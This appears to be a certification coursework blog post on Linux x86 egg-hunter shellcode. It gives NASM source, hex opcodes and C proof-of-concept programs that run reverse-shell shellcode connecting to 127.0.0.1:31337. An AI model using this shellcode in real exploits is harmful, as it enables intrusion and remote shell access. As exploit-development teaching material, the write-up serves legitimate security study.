Content
1. Why egg hunter shellcodes?
Both our shellcodes from the earlier sections are fairly small by modern standards, being 91 and 72 bytes for the bind shell and reverse shell respectively. What, however, if the buffer is not even that big?
We can use a technique called “egg-hunter”, which uses different local stages of shellcode. A small stage can be placed into our restricted buffer doing nothing else but searching our memory for a particular tag that marks the beginning of our second, bigger and nastier, shellcode.
The tag is called the egg and the searching algorithm the egg hunter.
Let’s assume we are trying to exploit an application vulnerability by passing malicious code through an input field to the server. Now let’s say that there are several of those input fields, some larger than others. One of the smaller ones is vulnerable to a buffer overflow attack but it only provides us with 40 bytes to play with for our shellcode.
Why can’t we smuggle in our reverse shell through one of the bigger fields, submit our exploit though the vulnerable field, crash the process, execute our egghunter which in turn searches our memory for the egg and, when found, redirects code execution to the shellcode following the egg.
I will apply the same approach as for the bind shell:
2. Small egg hunter shell code
In theory, searching for an egg should be a piece of cake.
The following shellcode does exactly that and is only 23 bytes:
; Filename: small-egghunter.nasm ; Author: Re4son <re4son [at] whitedome.com.au> ; Website: http://www.whitedome.com.au/re4son ; ; Purpose: Linux x86 egghunter for searching allocated ; memory regions only ; 23 Bytes ; ; "\xeb\x10\x59\xb8\x77\x30\x30\x74\x89\xcf\xaf\xe0\xfb\xaf\xe0\xf8\xff\xe7\xe8\xeb\xff\xff\xff" global _start section .text _start: jmp short call_next ; start with jmp, call, pop routine next: pop ecx mov eax,0x74303077 ; w00t loop: mov edi,ecx scasd ; edi + 4, cmp mem content with exa loopnz loop ; jmp back if no match, dec ecx scasd loopnz loop ; jmp back if no match, dec ecx jmp edi ; execute shellcode call_next: call next ; get our start address
Let’s pop it into our POC program together with our reverse shell shellcode:
#include <stdio.h> #include <string.h> #include <stdlib.h> #define EGG "\x77\x30\x30\x74" /* w00t */ unsigned char egghunter[30]; void main() { /* Reverse tcp 127.0.0.1:31337 */ unsigned char shellcode[256] = \ EGG EGG "\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1" "\x6a\x66\x58\x89\xc7\xcd\x80\x97\x68\x7f" "\x00\x00\x01\x66\x68\x7a\x69\x66\x6a\x02" "\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03" "\xcd\x80\x5b\x87\xca\xb0\x3f\xcd\x80\x49" "\x79\xf9\x99\x89\xd1\x52\x68\x2f\x2f\x73" "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b" "\xcd\x80"; strcpy(egghunter, "\xeb\x10\x59\xb8" EGG "\x89\xcf\xaf\xe0\xfb\xaf\xe0\xf8\xff\xe7\xe8\xeb\xff\xff\xff"); printf("Shellcode: %d bytes\n", strlen(shellcode)); printf("Egghunter: %d bytes\n", strlen(egghunter)); int (*ret)() = (int(*)())egghunter; ret(); }
3. Compile and test the POC
The code works as advertised – It crawls backwards through memory and jumps to the shellcode marked with the egg when found:
This code only works in perfect conditions though:
- The second stage shellcode must be located behind the egghunter in memory, i.e. at a lower memory address
- All memory between the egghunter and the egg must be allocated
Perfect conditions that are rarely found in the real world. One of the reasons for using an egghunter is a smashed stack which, in turn, would crash our exploit when we hit it (see NTP daemon readvar BO example.
4. Robust egg hunter
To deal with the real world challenges such as unreferenced memory location and our egg being located at a higher memory location as the egghunter, we need to get the big guns out:
Skape’s paper on egghunting is the ultimate reference for robust and professional shellcode development.
I will implement his “Access(2) revisited” code.
After hours of debugging I finally found the reason for seg faults during execution: a dirty ecx buggered up our scasd instruction. I’m going to zero it out on startup.
; Filename: egghunter.nasm ; Author: Re4son <re4son[at]whitedome.com.au> ; 98% Skape's shellcode - I just cleared ecx on ; startup as it causes SIGSEGV and me not getting any sleep ; ; Purpose: Linux x86 egghunter using revised access(2) approach ; 37 Bytes ; ; "\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7" global _start section .text _start: xor ecx, ecx mul ecx skip_efault: or dx, 0xfff next_addr: inc edx lea ebx, [edx+0x4] push 0x21 pop eax int 0x80 cmp al,0xf2 jz skip_efault mov eax,0x74303077 mov edi,edx scasd jnz next_addr scasd jnz next_addr jmp edi
5. Compile and test the POC
Lets pop it into our POC program:
#include <stdio.h> #include <string.h> #define EGG "\x77\x30\x30\x74" /* w00t */ unsigned char egghunter[] = \ "\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42" "\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2" "\x74\xee\xb8" EGG "\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"; /* tcp reverse shell to 127.0.0.1:31337 */ unsigned char code[] = \ EGG EGG "\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1" "\x6a\x66\x58\x89\xc7\xcd\x80\x97\x68\x7f" "\x00\x00\x01\x66\x68\x7a\x69\x66\x6a\x02" "\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03" "\xcd\x80\x5b\x87\xca\xb0\x3f\xcd\x80\x49" "\x79\xf9\x99\x89\xd1\x52\x68\x2f\x2f\x73" "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b" "\xcd\x80"; main() { printf("Egghunter Length: %d\n", strlen(egghunter)); printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())egghunter; ret(); }
And run it:
Mission accomplished.
All files are available on github.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE – 674